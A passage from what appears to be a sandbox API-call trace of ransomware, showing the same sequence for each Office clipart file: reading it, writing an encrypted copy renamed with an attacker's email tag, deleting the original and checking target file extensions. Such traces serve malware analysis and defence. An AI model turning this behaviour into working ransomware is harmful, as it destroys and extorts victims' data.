Office\\CLIPART\\PUB60COR\\J0187837.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.346] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.346] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.347] GetLastError () returned 0x0 [0265.347] ReadFile (in: hFile=0x390, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x3fe2, lpOverlapped=0x0) returned 1 [0265.367] WriteFile (in: hFile=0x360, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x3ff0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x3ff0, lpOverlapped=0x0) returned 1 [0265.367] ReadFile (in: hFile=0x390, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.368] WriteFile (in: hFile=0x360, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.368] SetEndOfFile (hFile=0x360) returned 1 [0265.368] CloseHandle (hObject=0x360) returned 1 [0265.368] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.368] SetEndOfFile (hFile=0x390) returned 1 [0265.371] CloseHandle (hObject=0x390) returned 1 [0265.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.371] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf")) returned 1 [0265.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0265.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0265.372] lstrlenW (lpString=".doc") returned 4 [0265.372] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.372] lstrlenW (lpString=".docx") returned 5 [0265.372] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0265.372] lstrlenW (lpString=".pdf") returned 4 [0265.372] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.372] lstrlenW (lpString=".xls") returned 4 [0265.372] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.372] lstrlenW (lpString=".xlsx") returned 5 [0265.372] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0265.372] lstrlenW (lpString=".ppt") returned 4 [0265.372] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0265.372] lstrlenW (lpString=".zip") returned 4 [0265.372] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.372] lstrlenW (lpString=".rar") returned 4 [0265.372] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.372] lstrlenW (lpString=".bz2") returned 4 [0265.372] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.372] lstrlenW (lpString=".7z") returned 3 [0265.372] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0265.372] lstrlenW (lpString=".dbf") returned 4 [0265.372] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0265.372] lstrlenW (lpString=".1cd") returned 4 [0265.372] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0265.372] lstrlenW (lpString=".jpg") returned 4 [0265.372] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0265.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0265.373] lstrlenW (lpString=".doc") returned 4 [0265.373] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.373] lstrlenW (lpString=".docx") returned 5 [0265.373] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0265.373] lstrlenW (lpString=".pdf") returned 4 [0265.373] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.373] lstrlenW (lpString=".xls") returned 4 [0265.373] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.373] lstrlenW (lpString=".xlsx") returned 5 [0265.373] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0265.373] lstrlenW (lpString=".ppt") returned 4 [0265.373] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0265.373] lstrlenW (lpString=".zip") returned 4 [0265.373] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.373] lstrlenW (lpString=".rar") returned 4 [0265.373] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.373] lstrlenW (lpString=".bz2") returned 4 [0265.373] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.373] lstrlenW (lpString=".7z") returned 3 [0265.373] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0265.373] lstrlenW (lpString=".dbf") returned 4 [0265.373] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0265.373] lstrlenW (lpString=".1cd") returned 4 [0265.373] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0265.373] lstrlenW (lpString=".jpg") returned 4 [0265.373] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.373] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.373] lstrlenW (lpString="J0188519.WMF") returned 12 [0265.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.374] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=5824) returned 1 [0265.374] CloseHandle (hObject=0x390) returned 1 [0265.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf")) returned 0x20 [0265.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.374] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.375] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.375] GetLastError () returned 0x0 [0265.375] ReadFile (in: hFile=0x390, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x16c0, lpOverlapped=0x0) returned 1 [0265.403] WriteFile (in: hFile=0x360, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x16d0, lpOverlapped=0x0) returned 1 [0265.404] ReadFile (in: hFile=0x390, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.404] WriteFile (in: hFile=0x360, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.404] SetEndOfFile (hFile=0x360) returned 1 [0265.404] CloseHandle (hObject=0x360) returned 1 [0265.405] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.405] SetEndOfFile (hFile=0x390) returned 1 [0265.406] CloseHandle (hObject=0x390) returned 1 [0265.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.416] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf")) returned 1 [0265.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0265.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0265.417] lstrlenW (lpString=".doc") returned 4 [0265.417] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.417] lstrlenW (lpString=".docx") returned 5 [0265.417] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0265.417] lstrlenW (lpString=".pdf") returned 4 [0265.417] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.417] lstrlenW (lpString=".xls") returned 4 [0265.417] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.417] lstrlenW (lpString=".xlsx") returned 5 [0265.417] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0265.417] lstrlenW (lpString=".ppt") returned 4 [0265.417] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0265.417] lstrlenW (lpString=".zip") returned 4 [0265.417] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.417] lstrlenW (lpString=".rar") returned 4 [0265.417] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.417] lstrlenW (lpString=".bz2") returned 4 [0265.417] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.417] lstrlenW (lpString=".7z") returned 3 [0265.417] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0265.417] lstrlenW (lpString=".dbf") returned 4 [0265.417] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0265.417] lstrlenW (lpString=".1cd") returned 4 [0265.418] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0265.418] lstrlenW (lpString=".jpg") returned 4 [0265.418] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0265.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0265.418] lstrlenW (lpString=".doc") returned 4 [0265.418] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.418] lstrlenW (lpString=".docx") returned 5 [0265.418] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0265.418] lstrlenW (lpString=".pdf") returned 4 [0265.418] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.418] lstrlenW (lpString=".xls") returned 4 [0265.418] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.418] lstrlenW (lpString=".xlsx") returned 5 [0265.418] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0265.418] lstrlenW (lpString=".ppt") returned 4 [0265.418] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0265.418] lstrlenW (lpString=".zip") returned 4 [0265.418] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.418] lstrlenW (lpString=".rar") returned 4 [0265.418] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.418] lstrlenW (lpString=".bz2") returned 4 [0265.418] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.418] lstrlenW (lpString=".7z") returned 3 [0265.418] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0265.418] lstrlenW (lpString=".dbf") returned 4 [0265.418] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0265.418] lstrlenW (lpString=".1cd") returned 4 [0265.418] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0265.418] lstrlenW (lpString=".jpg") returned 4 [0265.418] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.419] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.419] lstrlenW (lpString="J0188669.WMF") returned 12 [0265.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0265.424] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=29602) returned 1 [0265.430] CloseHandle (hObject=0x3a8) returned 1 [0265.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf")) returned 0x20 [0265.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0265.441] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.441] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0265.442] GetLastError () returned 0x0 [0265.442] ReadFile (in: hFile=0x3d8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x73a2, lpOverlapped=0x0) returned 1 [0265.455] WriteFile (in: hFile=0x1bc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x73b0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x73b0, lpOverlapped=0x0) returned 1 [0265.456] ReadFile (in: hFile=0x3d8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.456] WriteFile (in: hFile=0x1bc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.456] SetEndOfFile (hFile=0x1bc) returned 1 [0265.456] CloseHandle (hObject=0x1bc) returned 1 [0265.457] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.457] SetEndOfFile (hFile=0x3d8) returned 1 [0265.459] CloseHandle (hObject=0x3d8) returned 1 [0265.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.459] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf")) returned 1 [0265.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0265.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0265.460] lstrlenW (lpString=".doc") returned 4 [0265.460] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.460] lstrlenW (lpString=".docx") returned 5 [0265.460] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0265.460] lstrlenW (lpString=".pdf") returned 4 [0265.460] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.460] lstrlenW (lpString=".xls") returned 4 [0265.460] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.460] lstrlenW (lpString=".xlsx") returned 5 [0265.460] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0265.460] lstrlenW (lpString=".ppt") returned 4 [0265.460] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0265.460] lstrlenW (lpString=".zip") returned 4 [0265.460] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.460] lstrlenW (lpString=".rar") returned 4 [0265.460] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.460] lstrlenW (lpString=".bz2") returned 4 [0265.460] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.460] lstrlenW (lpString=".7z") returned 3 [0265.460] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0265.460] lstrlenW (lpString=".dbf") returned 4 [0265.460] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0265.460] lstrlenW (lpString=".1cd") returned 4 [0265.460] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0265.460] lstrlenW (lpString=".jpg") returned 4 [0265.461] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0265.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0265.461] lstrlenW (lpString=".doc") returned 4 [0265.461] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.461] lstrlenW (lpString=".docx") returned 5 [0265.461] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0265.461] lstrlenW (lpString=".pdf") returned 4 [0265.461] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.461] lstrlenW (lpString=".xls") returned 4 [0265.461] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.461] lstrlenW (lpString=".xlsx") returned 5 [0265.461] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0265.461] lstrlenW (lpString=".ppt") returned 4 [0265.461] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0265.461] lstrlenW (lpString=".zip") returned 4 [0265.461] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.461] lstrlenW (lpString=".rar") returned 4 [0265.461] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.461] lstrlenW (lpString=".bz2") returned 4 [0265.461] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.461] lstrlenW (lpString=".7z") returned 3 [0265.461] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0265.461] lstrlenW (lpString=".dbf") returned 4 [0265.461] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0265.461] lstrlenW (lpString=".1cd") returned 4 [0265.461] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0265.461] lstrlenW (lpString=".jpg") returned 4 [0265.461] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.462] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.462] lstrlenW (lpString="J0195254.WMF") returned 12 [0265.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0265.462] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=4534) returned 1 [0265.462] CloseHandle (hObject=0x3d8) returned 1 [0265.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf")) returned 0x20 [0265.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0265.463] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.463] SetFilePointerEx (in: hFile=0x3d8, 